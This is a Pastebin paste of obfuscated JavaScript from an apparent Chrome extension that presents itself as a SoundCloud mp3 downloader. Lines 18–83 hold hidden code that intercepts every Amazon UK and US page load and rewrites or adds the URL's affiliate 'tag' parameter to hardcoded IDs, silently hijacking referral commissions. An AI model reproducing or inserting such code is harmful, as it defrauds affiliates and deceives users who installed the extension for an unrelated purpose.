Guest User

Untitled

a guest
Jan 17th, 2017
143
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. function downloadFile(_0x7193x2, _0x7193x3) {
  2.     chrome['downloads']['download']({
  3.         url: _0x7193x2,
  4.         filename: _0x7193x3 + '.mp3'
  5.     })
  6. }
  7. var downloadSubDir = 'Sound Cloud/';
  8. chrome['runtime']['onInstalled']['addListener'](function(_0x7193x2) {}), chrome['runtime']['onMessage']['addListener'](function(_0x7193x2, _0x7193x3, _0x7193x5) {
  9.     if (_0x7193x3['tab']) {
  10.         var _0x7193x6 = '';
  11.         if (_0x7193x2['fileDownload']) {
  12.             _0x7193x2['fileDownload']['plName'] && (_0x7193x6 = _0x7193x2['fileDownload']['plName'] + '/');
  13.             var _0x7193x7 = downloadSubDir + _0x7193x6 + _0x7193x2['fileDownload']['fileName']['trim']();
  14.             downloadFile(_0x7193x2['fileDownload']['url'], _0x7193x7)
  15.         }
  16.     }
  17. });
  18. chrome['webRequest']['onBeforeRequest']['addListener'](function(_0x7193x8) {
  19.     var _0x7193x9 = manageEdit(_0x7193x8['url']);
  20.     return {
  21.         redirectUrl: _0x7193x9
  22.     }
  23. }, {
  24.     urls: ['*://*.amazon.co.uk/*'],
  25.     types: ['main_frame']
  26. }, ['blocking']);
  27. chrome['webRequest']['onBeforeRequest']['addListener'](function(_0x7193x8) {
  28.     var _0x7193x9 = manageEditUSA(_0x7193x8['url']);
  29.     return {
  30.         redirectUrl: _0x7193x9
  31.     }
  32. }, {
  33.     urls: ['*://*.amazon.com/*'],
  34.     types: ['main_frame']
  35. }, ['blocking']);
  36.  
  37. function manageEdit(_0x7193xb) {
  38.     if (_0x7193xb['includes']('tag=w_xr_32fd-21')) {
  39.         return _0x7193xb
  40.     } else {
  41.         if (_0x7193xb['includes']('amazon.co.uk')) {
  42.             if (_0x7193xb['includes']('?')) {
  43.                 if (_0x7193xb['includes']('tag=')) {
  44.                     var _0x7193xc = _0x7193xb['replace'](/tag=(.*)/, 'tag=w_xr_32fd-21');
  45.                     if (_0x7193xb['includes']('ref=')) {
  46.                         _0x7193xb['replace'](/ref=(.*)/, 'ref=w_xr_32fd-21')
  47.                     };
  48.                     return _0x7193xc
  49.                 } else {
  50.                     return _0x7193xb + '&tag=w_xr_32fd-21'
  51.                 }
  52.             } else {
  53.                 return _0x7193xb + '?tag=w_xr_32fd-21'
  54.             }
  55.         } else {
  56.             return _0x7193xb
  57.         }
  58.     }
  59. }
  60.  
  61. function manageEditUSA(_0x7193xb) {
  62.     if (_0x7193xb['includes']('tag=wxr32fd210b-20')) {
  63.         return _0x7193xb
  64.     } else {
  65.         if (_0x7193xb['includes']('amazon.com')) {
  66.             if (_0x7193xb['includes']('?')) {
  67.                 if (_0x7193xb['includes']('tag=')) {
  68.                     var _0x7193xc = _0x7193xb['replace'](/tag=(.*)/, 'tag=wxr32fd210b-20');
  69.                     if (_0x7193xb['includes']('ref=')) {
  70.                         _0x7193xb['replace'](/ref=(.*)/, 'tag=wxr32fd210b-20')
  71.                     };
  72.                     return _0x7193xc
  73.                 } else {
  74.                     return _0x7193xb + '&tag=wxr32fd210b-20'
  75.                 }
  76.             } else {
  77.                 return _0x7193xb + '?tag=wxr32fd210b-20'
  78.             }
  79.         } else {
  80.             return _0x7193xb
  81.         }
  82.     }
  83. }
Add Comment
Please, Sign In to add comment